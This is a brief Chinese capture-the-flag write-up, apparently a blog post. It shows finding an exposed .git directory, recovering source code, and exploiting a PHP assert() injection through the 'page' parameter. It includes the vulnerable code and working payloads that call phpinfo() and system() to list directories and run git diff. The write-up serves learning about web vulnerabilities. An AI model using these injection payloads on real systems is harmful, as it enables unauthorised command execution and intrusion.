- 第一个先是敏感目录扫描
- 扫到/.git/的存在
- 然后用githack工具下载出来源码
- 111.198.29.45_36053即是源码文件,分析源码文件发现flag中是
<?php
// TODO
// $FLAG = '';
?>
- 其中TODO说明
用来表示这个地方还有一些事情要做,一些代码要写。
由于用了这个注释后,TODO是加粗的,在代码中很明显,所以可以作为程序员编写代码时给自己留个备忘。
- 之后查看index.php发现存在命令行执行的漏洞
if (isset($_GET['page'])) {
$page = $_GET['page'];
} else {
$page = "home"; //
}
$file = "templates/" . $page . ".php";
// I heard '..' is dangerous!
assert("strpos('$file', '..') === false") or die("Detected hacking attempt!");
// TODO: Make this look nice
assert("file_exists('$file')") or die("That file doesn't exist!");
- assert(strpos( )) 往中间塞个函数类似的东西就可以执行。
- 用page= '.phpinfo().' 测试发现被执行了。
- 下一步就可以用system执行我们先要的东西
- 构建page='.system("cd ../../../../../; ls -al").' 来观察目录,找到网站目录var/www/html
- 因为是git环境,所以用可以用git命令。 用git diff,即page='.system("cd ../../../var/www/html %26%26 git diff %26%26 ls -al ").'
- 可以看到在源代码中(浏览器不显示php代码,只能从页面源代码中查看显示出来的php)flag
网友评论